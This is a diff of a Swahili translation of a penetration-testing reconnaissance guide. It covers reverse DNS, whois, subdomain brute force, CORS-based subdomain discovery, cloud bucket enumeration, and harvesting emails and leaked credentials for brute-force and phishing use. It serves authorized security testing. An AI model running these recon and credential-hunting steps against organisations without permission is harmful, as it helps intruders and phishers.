**Pia, inaweza kuwa na faida kutaja kwamba unaweza pia kuandaa baadhi ya** orodha za jina la mtumiaji wa kawaida **na** nywila **na kujaribu** bruteforce huduma na [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
Pia, unaweza kuzindua baadhi ya [**skana za bandari**](../pentesting-network/#discovering-hosts-from-the-outside) **au tumia huduma kama** shodan **kupata** bandari wazi **na kulingana na kile unachokipata unapaswa** kuangalia katika kitabu hiki jinsi ya kufanya pentesting kwa huduma kadhaa zinazoweza kukimbia.\
|
||||
**Pia, inaweza kuwa na faida kutaja kwamba unaweza pia kuandaa baadhi ya** orodha za majina ya mtumiaji ya kawaida **na** nywila **na kujaribu** bruteforce huduma na [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
|
||||
## Domains
|
||||
|
||||
> Tunajua kampuni zote ndani ya upeo na rasilimali zao, ni wakati wa kutafuta majina ya domain ndani ya upeo.
|
||||
> Tunajua kampuni zote ndani ya upeo na rasilimali zao, ni wakati wa kutafuta majina ya kikoa ndani ya upeo.
|
||||
|
||||
_Tafadhali, kumbuka kwamba katika mbinu zilizopendekezwa hapa chini unaweza pia kupata subdomains na kwamba taarifa hiyo haipaswi kupuuziliwa mbali._
|
||||
|
||||
Kwanza kabisa unapaswa kutafuta **domain kuu**(s) za kila kampuni. Kwa mfano, kwa _Tesla Inc._ itakuwa _tesla.com_.
|
||||
Kwanza kabisa unapaswa kutafuta **kikoa kikuu**(s) cha kila kampuni. Kwa mfano, kwa _Tesla Inc._ itakuwa _tesla.com_.
|
||||
|
||||
### **Reverse DNS**
|
||||
|
||||
Kama umepata anuwai zote za IP za majina ya domain unaweza kujaribu kufanya **reverse dns lookups** kwenye hizo **IPs ili kupata majina zaidi ya domain ndani ya upeo**. Jaribu kutumia seva ya dns ya mwathirika au seva maarufu ya dns (1.1.1.1, 8.8.8.8)
|
||||
Kama umepata anuwai zote za IP za majina ya kikoa unaweza kujaribu kufanya **reverse dns lookups** kwenye hizo **IPs ili kupata majina mengine ya kikoa ndani ya upeo**. Jaribu kutumia baadhi ya seva za dns za mwathirika au seva maarufu za dns (1.1.1.1, 8.8.8.8)
|
||||
```bash
|
||||
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
||||
|
@ -101,7 +101,7 @@ Unaweza pia kutumia chombo cha mtandaoni kwa habari hii: [http://ptrarchive.com/
|
|||
|
||||
### **Reverse Whois (loop)**
|
||||
|
||||
Ndani ya **whois** unaweza kupata habari nyingi za kuvutia kama **jina la shirika**, **anwani**, **barua pepe**, nambari za simu... Lakini kinachovutia zaidi ni kwamba unaweza kupata **mali zaidi zinazohusiana na kampuni** ikiwa utatekeleza **reverse whois lookups kwa yoyote ya hizo** (kwa mfano, rejista nyingine za whois ambapo barua pepe hiyo inaonekana).\
|
||||
Ndani ya **whois** unaweza kupata habari nyingi za kuvutia kama **jina la shirika**, **anwani**, **barua pepe**, nambari za simu... Lakini kinachovutia zaidi ni kwamba unaweza kupata **mali zaidi zinazohusiana na kampuni** ikiwa utatekeleza **reverse whois lookups kwa yoyote ya maeneo hayo** (kwa mfano, rejista nyingine za whois ambapo barua pepe hiyo hiyo inaonekana).\
|
||||
Unaweza kutumia zana za mtandaoni kama:
|
||||
|
||||
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Bila malipo**
|
||||
|
@ -119,7 +119,7 @@ Unaweza pia kutekeleza ugunduzi wa moja kwa moja wa reverse whois kwa kutumia [a
|
|||
|
||||
### **Trackers**
|
||||
|
||||
Ikiwa unapata **ID sawa ya tracker sawa** katika kurasa 2 tofauti unaweza kudhani kwamba **kurasa zote mbili** zinasimamiwa na **timu moja**.\
|
||||
Ikiwa unapata **ID sawa ya tracker sawa** katika kurasa 2 tofauti unaweza kudhani kwamba **kurasa zote mbili** zinasimamiwa na **timu ile ile**.\
|
||||
Kwa mfano, ikiwa unaona **Google Analytics ID** sawa au **Adsense ID** sawa kwenye kurasa kadhaa.
|
||||
|
||||
Kuna kurasa na zana ambazo zinakuwezesha kutafuta kwa trackers hizi na zaidi:
|
||||
|
@ -139,7 +139,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
|||
```
|
||||

|
||||
|
||||
Kwa maneno rahisi, favihash itaturuhusu kugundua maeneo ambayo yana hash sawa ya favicon icon kama lengo letu.
|
||||
Kwa kifupi, favihash itaturuhusu kugundua maeneo ambayo yana hash sawa ya favicon icon kama lengo letu.
|
||||
|
||||
Zaidi ya hayo, unaweza pia kutafuta teknolojia ukitumia hash ya favicon kama ilivyoelezwa katika [**hiki kipande cha blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Hii inamaanisha kwamba ikiwa unajua **hash ya favicon ya toleo lenye udhaifu la teknolojia ya wavuti** unaweza kutafuta katika shodan na **kupata maeneo mengine yenye udhaifu**:
|
||||
```bash
|
||||
|
@ -178,7 +178,7 @@ You can use a web such as [https://dmarc.live/info/google.com](https://dmarc.liv
|
|||
|
||||
### **Passive Takeover**
|
||||
|
||||
Kwa kweli ni kawaida kwa watu kupeana subdomains kwa IPs ambazo zinamilikiwa na watoa huduma wa cloud na kwa wakati fulani **kupoteza anwani hiyo ya IP lakini kusahau kuondoa rekodi ya DNS**. Hivyo, tu **kuanzisha VM** katika cloud (kama Digital Ocean) utakuwa kweli **ukichukua baadhi ya subdomains**.
|
||||
Kwa kweli ni kawaida kwa watu kupewa subdomains kwa IPs ambazo zinamilikiwa na watoa huduma wa cloud na kwa wakati fulani **kupoteza anwani hiyo ya IP lakini kusahau kuondoa rekodi ya DNS**. Hivyo, tu **kuanzisha VM** katika cloud (kama Digital Ocean) utakuwa kweli **ukichukua baadhi ya subdomains**.
|
||||
|
||||
[**This post**](https://kmsec.uk/blog/passive-takeover/) explains a store about it and propose a script that **spawns a VM in DigitalOcean**, **gets** the **IPv4** of the new machine, and **searches in Virustotal for subdomain records** pointing to it.
|
||||
|
||||
|
@ -190,7 +190,7 @@ Kwa kweli ni kawaida kwa watu kupeana subdomains kwa IPs ambazo zinamilikiwa na
|
|||
|
||||
Kama unavyojua jina la shirika linalomiliki nafasi ya IP. Unaweza kutafuta kwa data hiyo katika shodan ukitumia: `org:"Tesla, Inc."` Angalia mwenyeji waliopatikana kwa majina mapya yasiyotarajiwa katika cheti cha TLS.
|
||||
|
||||
Unaweza kufikia **cheti cha TLS** cha ukurasa mkuu, kupata **jina la Shirika** na kisha kutafuta jina hilo ndani ya **vyeti vya TLS** vya kurasa zote za wavuti zinazojulikana na **shodan** kwa kichujio: `ssl:"Tesla Motors"` au tumia chombo kama [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
You could access the **TLS certificate** of the main web page, obtain the **Organisation name** and then search for that name inside the **TLS certificates** of all the web pages known by **shodan** with the filter : `ssl:"Tesla Motors"` or use a tool like [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
|
||||
**Assetfinder**
|
||||
|
||||
|
@ -220,7 +220,7 @@ Note that some of the tools and techniques to find domains can also help to find
|
|||
|
||||
### **DNS**
|
||||
|
||||
Tujaribu kupata **subdomains** kutoka kwenye rekodi za **DNS**. Tunapaswa pia kujaribu kwa **Zone Transfer** (Ikiwa inahatarisha, unapaswa kuiripoti).
|
||||
Tujaribu kupata **subdomains** kutoka kwenye **DNS** records. Tunapaswa pia kujaribu kwa **Zone Transfer** (Ikiwa inahatarisha, unapaswa kuiripoti).
|
||||
```bash
|
||||
dnsrecon -a -d tesla.com
|
||||
```
|
||||
|
@ -275,7 +275,7 @@ vita -d tesla.com
|
|||
```bash
|
||||
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
|
||||
```
|
||||
Kuna **zana/APIs nyingine za kuvutia** ambazo hata kama hazijabobea moja kwa moja katika kutafuta subdomains zinaweza kuwa na manufaa katika kutafuta subdomains, kama vile:
|
||||
Kuna **zana/APIs nyingine za kuvutia** ambazo hata kama hazijabobea moja kwa moja katika kutafuta subdomains zinaweza kuwa na manufaa katika kutafuta subdomains, kama:
|
||||
|
||||
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Inatumia API [https://sonar.omnisint.io](https://sonar.omnisint.io) kupata subdomains
|
||||
```bash
|
||||
|
@ -307,7 +307,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
|
|||
}
|
||||
crt tesla.com
|
||||
```
|
||||
* [**gau**](https://github.com/lc/gau)**:** inapata URL zinazojulikana kutoka kwa Open Threat Exchange ya AlienVault, Wayback Machine, na Common Crawl kwa ajili ya kikoa chochote kilichotolewa.
|
||||
* [**gau**](https://github.com/lc/gau)**:** inapata URLs zinazojulikana kutoka kwa AlienVault's Open Threat Exchange, Wayback Machine, na Common Crawl kwa ajili ya kikoa chochote kilichotolewa.
|
||||
```bash
|
||||
# Get subdomains from GAUs found URLs
|
||||
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
||||
|
@ -340,13 +340,13 @@ python3 DomainTrail.py -d example.com
|
|||
* [**securitytrails.com**](https://securitytrails.com/) ina API ya bure kutafuta subdomains na historia ya IP
|
||||
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
|
||||
|
||||
Mradi huu unatoa **bure subdomains zote zinazohusiana na programu za bug-bounty**. Unaweza kufikia data hii pia ukitumia [chaospy](https://github.com/dr-0x0x/chaospy) au hata kufikia upeo uliofanywa na mradi huu [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
Mradi huu unatoa **bure subdomains zote zinazohusiana na programu za bug-bounty**. Unaweza kufikia data hii pia ukitumia [chaospy](https://github.com/dr-0x0x/chaospy) au hata kufikia upeo unaotumika na mradi huu [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
|
||||
Unaweza kupata **kulinganisha** ya zana nyingi hapa: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
||||
|
||||
### **DNS Brute force**
|
||||
|
||||
Hebu jaribu kutafuta **subdomains** mpya kwa kubruge DNS servers kwa kutumia majina ya subdomain yanayowezekana.
|
||||
Hebu jaribu kutafuta **subdomains** mpya kwa kuburuza seva za DNS kwa kutumia majina ya subdomain yanayowezekana.
|
||||
|
||||
Kwa hatua hii utahitaji baadhi ya **orodha za maneno ya subdomains za kawaida kama**:
|
||||
|
||||
|
@ -356,7 +356,7 @@ Kwa hatua hii utahitaji baadhi ya **orodha za maneno ya subdomains za kawaida ka
|
|||
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
|
||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
|
||||
|
||||
Na pia IP za waamuzi wazuri wa DNS. Ili kuunda orodha ya waamuzi wa DNS wanaotegemewa unaweza kupakua waamuzi kutoka [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) na kutumia [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) kuwasafisha. Au unaweza kutumia: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||
Na pia IP za wasuluhishi wa DNS wazuri. Ili kuunda orodha ya wasuluhishi wa DNS wanaotegemewa unaweza kupakua wasuluhishi kutoka [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) na kutumia [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) kuwasafisha. Au unaweza kutumia: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||
|
||||
Zana zinazopendekezwa zaidi kwa DNS brute-force ni:
|
||||
|
||||
|
@ -378,13 +378,13 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
|||
```
|
||||
puredns bruteforce all.txt domain.com
|
||||
```
|
||||
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) inatumia asyncio kufanya brute force majina ya domain kwa njia isiyo ya kawaida.
|
||||
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) inatumia asyncio kufanya brute force majina ya domain kwa njia ya asynchronous.
|
||||
```
|
||||
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
||||
```
|
||||
### Second DNS Brute-Force Round
|
||||
|
||||
Baada ya kupata subdomains kwa kutumia vyanzo vya wazi na brute-forcing, unaweza kuunda mabadiliko ya subdomains zilizopatikana ili kujaribu kupata zaidi. Zana kadhaa ni muhimu kwa kusudi hili:
|
||||
Baada ya kupata subdomains kwa kutumia vyanzo vya wazi na brute-forcing, unaweza kuunda mabadiliko ya subdomains yaliyopatikana ili kujaribu kupata zaidi. Zana kadhaa ni muhimu kwa kusudi hili:
|
||||
|
||||
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Imepewa majina ya domain na subdomains inazalisha permutations.
|
||||
```bash
|
||||
|
@ -395,7 +395,7 @@ cat subdomains.txt | dnsgen -
|
|||
```bash
|
||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
```
|
||||
* [**gotator**](https://github.com/Josue87/gotator)**:** Imepewa majina ya domain na subdomain, inazalisha permutations. Ikiwa faili la permutations halijatajwa, gotator itatumia faili lake mwenyewe.
|
||||
* [**gotator**](https://github.com/Josue87/gotator)**:** Imepewa majina ya domain na subdomain, inazalisha permutations. Ikiwa faili ya permutations haijaanishwa, gotator itatumia faili yake mwenyewe.
|
||||
```
|
||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
|
@ -410,9 +410,9 @@ altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
|||
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
||||
```
|
||||
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Kulingana na kikoa, in **zalisha majina mapya ya subdomain** kulingana na mifumo iliyoonyeshwa ili kujaribu kugundua subdomain zaidi.
|
||||
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Kulingana na kikoa, in **zalisha majina mapya ya subdomain** yanayoweza kutokea kulingana na mifumo iliyoonyeshwa ili kujaribu kugundua subdomain zaidi.
|
||||
|
||||
#### Uzalishaji wa permutations za akili
|
||||
#### Uzalishaji wa permutations smart
|
||||
|
||||
* [**regulator**](https://github.com/cramppet/regulator): Kwa maelezo zaidi soma hii [**post**](https://cramppet.github.io/regulator/index.html) lakini kimsingi itapata **sehemu kuu** kutoka kwa **subdomain zilizogunduliwa** na itazichanganya ili kupata subdomain zaidi.
|
||||
```bash
|
||||
|
@ -420,7 +420,7 @@ python3 main.py adobe.com adobe adobe.rules
|
|||
make_brute_list.sh adobe.rules adobe.brute
|
||||
puredns resolve adobe.brute --write adobe.valid
|
||||
```
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ni fuzzer ya brute-force ya subdomain iliyo na algorithm rahisi lakini yenye ufanisi inayotegemea majibu ya DNS. Inatumia seti ya data za ingizo zilizotolewa, kama vile orodha ya maneno iliyoundwa maalum au rekodi za kihistoria za DNS/TLS, ili kuunda kwa usahihi majina mengine yanayohusiana ya domain na kuyapanua zaidi katika mzunguko kulingana na taarifa zilizokusanywa wakati wa skana ya DNS.
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ni fuzzer ya brute-force ya subdomain iliyo na algorithm rahisi lakini yenye ufanisi inayotegemea majibu ya DNS. Inatumia seti ya data za ingizo zilizotolewa, kama vile orodha ya maneno iliyoundwa maalum au rekodi za kihistoria za DNS/TLS, ili kuunda kwa usahihi majina zaidi yanayolingana ya domain na kuyapanua zaidi katika mzunguko kulingana na taarifa zilizokusanywa wakati wa skana ya DNS.
|
||||
```
|
||||
echo www | subzuf facebook.com
|
||||
```
|
||||
|
@ -462,7 +462,7 @@ Kwa mbinu hii unaweza hata kufikia mwisho wa ndani/uliokhidden.
|
|||
|
||||
### **CORS Brute Force**
|
||||
|
||||
Wakati mwingine utaona kurasa ambazo hurudisha tu kichwa _**Access-Control-Allow-Origin**_ wakati kikoa/chini ya kikoa halali kimewekwa katika kichwa _**Origin**_. Katika hali hizi, unaweza kutumia tabia hii vibaya ili **gundua** **chini ya kikoa** mpya.
|
||||
Wakati mwingine utapata kurasa ambazo hurudisha tu kichwa _**Access-Control-Allow-Origin**_ wakati jina halali la kikoa/subdomain limewekwa katika kichwa _**Origin**_. Katika hali hizi, unaweza kutumia tabia hii vibaya ili **kuvumbua** **subdomains** mpya.
|
||||
```bash
|
||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
||||
```
|
||||
|
@ -485,48 +485,48 @@ _Kumbuka kwamba wakati mwingine subdomain inahostiwa ndani ya IP ambayo haidhibi
|
|||
|
||||
## IPs
|
||||
|
||||
Katika hatua za awali huenda umekuwa **umeona baadhi ya anuwai za IP, domains na subdomains**.\
|
||||
Ni wakati wa **kukusanya IP zote kutoka kwa anuwai hizo** na kwa **domains/subdomains (maswali ya DNS).**
|
||||
Katika hatua za awali huenda umekuwa **ukipata baadhi ya anuwai za IP, majina ya domain na subdomains**.\
|
||||
Ni wakati wa **kusanya IP zote kutoka kwa anuwai hizo** na kwa **majina ya domain/subdomains (maswali ya DNS).**
|
||||
|
||||
Kwa kutumia huduma kutoka **apis za bure** zifuatazo unaweza pia kupata **IPs za awali zilizotumika na domains na subdomains**. IP hizi zinaweza bado kumilikiwa na mteja (na zinaweza kukuruhusu kupata [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||
Kwa kutumia huduma kutoka **apis za bure** zifuatazo unaweza pia kupata **IPs za awali zilizotumika na majina ya domain na subdomains**. IP hizi zinaweza bado kumilikiwa na mteja (na zinaweza kukuruhusu kupata [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||
|
||||
* [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||
|
||||
Unaweza pia kuangalia kwa domains zinazoelekeza kwenye anwani maalum ya IP kwa kutumia chombo [**hakip2host**](https://github.com/hakluke/hakip2host)
|
||||
Unaweza pia kuangalia majina ya domain yanayoelekeza kwenye anwani maalum ya IP kwa kutumia chombo [**hakip2host**](https://github.com/hakluke/hakip2host)
|
||||
|
||||
### **Looking for vulnerabilities**
|
||||
|
||||
**Skani bandari zote za IP ambazo hazihusiani na CDNs** (kwa kuwa huenda usipate kitu chochote cha kuvutia huko). Katika huduma zinazotumika zilizogunduliwa unaweza kuwa **na uwezo wa kupata udhaifu**.
|
||||
|
||||
**Pata** [**mwongozo**](../pentesting-network/) **kuhusu jinsi ya skani hosts.**
|
||||
**Pata** [**mwongozo**](../pentesting-network/) **kuhusu jinsi ya skani wenyeji.**
|
||||
|
||||
## Web servers hunting
|
||||
|
||||
> Tumegundua kampuni zote na mali zao na tunajua anuwai za IP, domains na subdomains ndani ya upeo. Ni wakati wa kutafuta seva za wavuti.
|
||||
> Tumepata kampuni zote na mali zao na tunajua anuwai za IP, majina ya domain na subdomains ndani ya upeo. Ni wakati wa kutafuta seva za wavuti.
|
||||
|
||||
Katika hatua za awali huenda tayari umekuwa umefanya baadhi ya **recon ya IPs na domains zilizogunduliwa**, hivyo huenda umekuwa **umeona seva zote zinazowezekana za wavuti**. Hata hivyo, ikiwa hujafanya hivyo sasa tutaona baadhi ya **hila za haraka za kutafuta seva za wavuti** ndani ya upeo.
|
||||
Katika hatua za awali huenda tayari umekuwa ukifanya **recon ya IPs na majina ya domain yaliyogunduliwa**, hivyo huenda umekuwa **umepata seva zote zinazowezekana za wavuti**. Hata hivyo, ikiwa hujapata sasa tunaenda kuona baadhi ya **hila za haraka za kutafuta seva za wavuti** ndani ya upeo.
|
||||
|
||||
Tafadhali, kumbuka kwamba hii itakuwa **imeelekezwa kwa ugunduzi wa programu za wavuti**, hivyo unapaswa **kufanya udhaifu** na **skani za bandari** pia (**ikiwa inaruhusiwa** na upeo).
|
||||
|
||||
Njia **ya haraka** ya kugundua **bandari wazi** zinazohusiana na **seva** za wavuti kwa kutumia [**masscan** inaweza kupatikana hapa](../pentesting-network/#http-port-discovery).\
|
||||
Chombo kingine rafiki cha kutafuta seva za wavuti ni [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) na [**httpx**](https://github.com/projectdiscovery/httpx). Unapita tu orodha ya domains na itajaribu kuungana na bandari 80 (http) na 443 (https). Zaidi ya hayo, unaweza kuonyesha kujaribu bandari nyingine:
|
||||
Chombo kingine rafiki cha kutafuta seva za wavuti ni [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) na [**httpx**](https://github.com/projectdiscovery/httpx). Unapita tu orodha ya majina ya domain na itajaribu kuungana na bandari 80 (http) na 443 (https). Zaidi ya hayo, unaweza kuonyesha kujaribu bandari nyingine:
|
||||
```bash
|
||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
||||
```
|
||||
### **Screenshots**
|
||||
|
||||
Sasa kwamba umepata **seva zote za wavuti** zilizopo katika upeo (katika **IPs** za kampuni na **domains** zote na **subdomains**) huenda **hujui wapi uanze**. Hivyo, hebu iwe rahisi na tuanze kwa kuchukua picha za skrini za zote. Kwa **kuangalia** tu kwenye **ukurasa mkuu** unaweza kupata **mipango** ya ajabu ambayo ni **rahisi** kuwa **na udhaifu**.
|
||||
Sasa kwamba umepata **seva zote za wavuti** zilizopo katika upeo (katika **IPs** za kampuni na **domains** zote na **subdomains**) huenda **hujui wapi uanze**. Hivyo, hebu iwe rahisi na tuanze kwa kuchukua picha za skrini za zote. Kwa **kuangalia** tu kwenye **ukurasa mkuu** unaweza kupata **mipango** ya ajabu ambayo ina **uwezekano** mkubwa wa kuwa **na udhaifu**.
|
||||
|
||||
Ili kutekeleza wazo lililopendekezwa unaweza kutumia [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) au [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
||||
|
||||
Zaidi ya hayo, unaweza kutumia [**eyeballer**](https://github.com/BishopFox/eyeballer) kukagua **picha za skrini** zote ili kukuambia **nini kinaweza kuwa na udhaifu**, na nini hakina.
|
||||
Zaidi ya hayo, unaweza kutumia [**eyeballer**](https://github.com/BishopFox/eyeballer) kukagua picha zote za skrini ili kukuambia **nini kinaweza kuwa na udhaifu**, na nini hakina.
|
||||
|
||||
## Mali za Umma za Wingu
|
||||
|
||||
Ili kupata mali za wingu zinazoweza kuwa za kampuni unapaswa **kuanza na orodha ya maneno muhimu yanayofafanua kampuni hiyo**. Kwa mfano, kwa kampuni ya crypto unaweza kutumia maneno kama: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
|
||||
|
||||
Utahitaji pia orodha za maneno ya **maneno ya kawaida yanayotumika katika makundi**:
|
||||
Utahitaji pia orodha za maneno za **maneno ya kawaida yanayotumika katika ndoo**:
|
||||
|
||||
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
|
||||
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
||||
|
@ -536,15 +536,15 @@ Kisha, kwa maneno hayo unapaswa kuunda **mabadiliko** (angalia [**Second Round D
|
|||
|
||||
Kwa orodha za maneno zilizopatikana unaweza kutumia zana kama [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **au** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
|
||||
|
||||
Kumbuka kwamba unapoitafuta Mali za Wingu unapaswa **kuangalia zaidi ya makundi tu katika AWS**.
|
||||
Kumbuka kwamba unapoitafuta Mali za Wingu unapaswa **kuangalia zaidi ya ndoo tu katika AWS**.
|
||||
|
||||
### **Kuangalia udhaifu**
|
||||
|
||||
Ikiwa unapata vitu kama **makundi ya wazi au kazi za wingu zilizofichuliwa** unapaswa **kuvifungua** na kujaribu kuona ni nini vinatoa na ikiwa unaweza kuvifanyia matumizi mabaya.
|
||||
Ikiwa unapata vitu kama **ndoo wazi au kazi za wingu zilizofichuliwa** unapaswa **kuziingilia** na kujaribu kuona kile wanachokupa na ikiwa unaweza kuzitumia vibaya.
|
||||
|
||||
## Barua pepe
|
||||
|
||||
Pamoja na **domains** na **subdomains** ndani ya upeo unayo kila kitu unachohitaji **kuanza kutafuta barua pepe**. Hizi ni **APIs** na **zana** ambazo zimefanya kazi vizuri zaidi kwangu kupata barua pepe za kampuni:
|
||||
Pamoja na **domains** na **subdomains** ndani ya upeo unayo kila kitu unachohitaji **kuanza kutafuta barua pepe**. Hizi ni **APIs** na **zana** ambazo zimefanya kazi bora zaidi kwangu kupata barua pepe za kampuni:
|
||||
|
||||
* [**theHarvester**](https://github.com/laramies/theHarvester) - na APIs
|
||||
* API ya [**https://hunter.io/**](https://hunter.io/) (toleo la bure)
|
||||
|
@ -553,9 +553,9 @@ Pamoja na **domains** na **subdomains** ndani ya upeo unayo kila kitu unachohita
|
|||
|
||||
### **Kuangalia udhaifu**
|
||||
|
||||
Barua pepe zitakuwa na manufaa baadaye kwa **kujaribu nguvu logins za wavuti na huduma za uthibitishaji** (kama SSH). Pia, zinahitajika kwa **phishings**. Zaidi ya hayo, hizi APIs zitakupa hata zaidi **habari kuhusu mtu** nyuma ya barua pepe, ambayo ni muhimu kwa kampeni ya phishing.
|
||||
Barua pepe zitakuwa na manufaa baadaye kwa **kujaribu nguvu kuingia kwenye wavuti na huduma za uthibitishaji** (kama SSH). Pia, zinahitajika kwa **phishings**. Zaidi ya hayo, hizi APIs zitakupa hata zaidi **habari kuhusu mtu** nyuma ya barua pepe, ambayo ni muhimu kwa kampeni ya phishing.
|
||||
|
||||
## Mvujo wa Akida
|
||||
## Mvuja wa Akida
|
||||
|
||||
Pamoja na **domains,** **subdomains**, na **barua pepe** unaweza kuanza kutafuta akida zilizovuja katika siku za nyuma zinazomilikiwa na barua pepe hizo:
|
||||
|
||||
|
@ -566,33 +566,33 @@ Pamoja na **domains,** **subdomains**, na **barua pepe** unaweza kuanza kutafuta
|
|||
|
||||
Ikiwa unapata **akida zilizovuja** halali, hii ni ushindi rahisi sana.
|
||||
|
||||
## Mvujo wa Siri
|
||||
## Mvuja wa Siri
|
||||
|
||||
Mvujo wa akida unahusiana na uvunjaji wa kampuni ambapo **habari nyeti ilivuja na kuuzwa**. Hata hivyo, kampuni zinaweza kuathiriwa na **mvujo mingine** ambayo habari yake haipo katika hizo databasi:
|
||||
Mvuja wa akida unahusiana na uvunjaji wa kampuni ambapo **habari nyeti ilivuja na kuuzwa**. Hata hivyo, kampuni zinaweza kuathiriwa na **mvuja nyingine** ambazo habari zake haziko katika hizo databasi:
|
||||
|
||||
### Mvujo wa Github
|
||||
### Mvuja wa Github
|
||||
|
||||
Akida na APIs zinaweza kuvuja katika **hifadhi za umma** za **kampuni** au za **watumiaji** wanaofanya kazi kwa kampuni hiyo ya github.\
|
||||
Unaweza kutumia **zana** [**Leakos**](https://github.com/carlospolop/Leakos) **kupakua** hifadhi zote za **umma** za **taasisi** na za **waendelezaji** wake na kuendesha [**gitleaks**](https://github.com/zricethezav/gitleaks) juu yao kiotomatiki.
|
||||
Unaweza kutumia **zana** [**Leakos**](https://github.com/carlospolop/Leakos) **kupakua** hifadhi zote za **um public** za **taasisi** na za **developers** zake na kuendesha [**gitleaks**](https://github.com/zricethezav/gitleaks) juu yao kiotomatiki.
|
||||
|
||||
**Leakos** pia inaweza kutumika kuendesha **gitleaks** dhidi ya **maandishi** yaliyotolewa **URLs yaliyopitishwa** kwake kwani wakati mwingine **kurasa za wavuti pia zina siri**.
|
||||
|
||||
#### Github Dorks
|
||||
|
||||
Angalia pia **ukurasa** huu kwa **github dorks** zinazoweza kutafutwa katika taasisi unayoishambulia:
|
||||
Angalia pia **ukurasa** huu kwa **github dorks** zinazoweza kutafutwa katika shirika unaloshambulia:
|
||||
|
||||
{% content-ref url="github-leaked-secrets.md" %}
|
||||
[github-leaked-secrets.md](github-leaked-secrets.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Mvujo wa Pastes
|
||||
### Mvuja wa Pastes
|
||||
|
||||
